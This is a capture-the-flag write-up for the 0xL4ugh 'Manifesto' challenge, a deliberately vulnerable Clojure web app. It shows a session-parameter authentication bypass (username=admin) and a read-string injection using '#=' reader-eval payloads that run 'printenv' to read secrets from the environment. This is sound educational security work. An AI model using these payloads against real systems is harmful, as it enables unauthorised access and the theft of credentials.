# 0xL4ugh CTF - Manifesto

As the year is about to end, me and my team decided to join 0xl4ugh as our final CTF event of the year. We’ll be tackling Manifesto for this writeup.

## Manifesto

> This is an easy challenge, except... it's written in Clojure. Can you find your way through all of these parentheses and come out victorious? - @aelmo

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1735456416160/f1e1e14b-4864-458d-8e30-f4695ec33542.png align="center")

After downloading the challenge files, the Dockerfile contained the flag, which indicates that we have to access a shell to perform command execution and access the environment variable.

```dockerfile
ENV CLOJURE_PORT 80
ENV FLAG '0xL4ugh{this_is_a_fake_flag}'

EXPOSE 80

ENTRYPOINT ["lein", "run"]
```

The server is written in [Clojure](https://clojure.org/), which is a dynamic, general-purpose programming language, combining the approachability and interactive development of a scripting language with an efficient and robust infrastructure for multi-threaded programming.

---

## Bypassing authentication

After exploring a bit, we found that we could only access `/gist` if we were logged in as admin. So first, we had to find a way to bypass the authentication and set our session as the admin. We ran the application in Burp, and after making some changes, we observed that it creates a request to change the preferred theme with an additional parameter.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1735458521924/7b8f6f62-0378-464e-b808-2460fe074ec7.png align="center")

```clojure
(re-matches #"/" uri)
     (-> (r/response
          (render-file "index.html"
                       {:prefer (or (query-params "prefer") (session "prefer") "light")
                        :username (session "username")
                        :url uri}))
         (assoc :session (merge {"prefer" "light"} session query-params)))
```

The code above checks two parameters: `prefer` and `username`. Using this, we were able to bypass the authentication by passing the parameters as such: `/?prefer=dark&username=admin`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1735459353614/e9325220-644d-436d-9a73-e7908d516684.png align="center")

We were now logged in as admin. While we could use other usernames to log in, we wouldn’t be able to access the `/gist` endpoint.

## Command Injection

---

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1735460768871/c77c1033-65aa-4780-a824-a993607699e2.png align="center")

In the gist page, we are able to post a gist, and it will display the gist as seen in the picture. After inspecting the code, we are able to see the vulnerable function, which reads the input without prior sanitization.

```clojure
 (= request-method :post)
           (let [{:strs [gist]} form-params]
             ;; clojure has excellent error handling capabilities
             (try
               (insert-gist (session "username") (read-string gist))
               (r/redirect "/gists")
               (catch Exception _ (json-response {:error "Something went wrong..."}))))

           :else
           (json-response {:error "Something went wrong..."})) 
```

> Here’s the snippet with the vulnerable input.

Clojure has a neat documentation, where we can find the [clojure.java.shell](https://clojuredocs.org/clojure.java.shell/sh) namespace, which we could use to craft our payload.

> In Clojure, there are different reader forms. In our case, we used a Macro Character `#`, which is essentially a shortcut for `eval`. We paired it with an equal sign `=`, allowing it to evaluate immediately during the read phase.

Our eval payload looked like this: `#=()`.

The payload were as follows:

```clojure
#=(require clojure.java.shell)
#=(clojure.java.shell/sh+"printenv")
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1735469488044/722b35e5-c769-4f33-866e-edeab9e2e673.png align="center")

We finally got the flag!

## Final thoughts

---

This web challenge was really interesting overall, a few head scratches and frustration from reading this godforsaken syntax, but we always learn something new.

Special thanks to my team D0MBUSTERS, I’ve learned a lot from them just from this year alone.
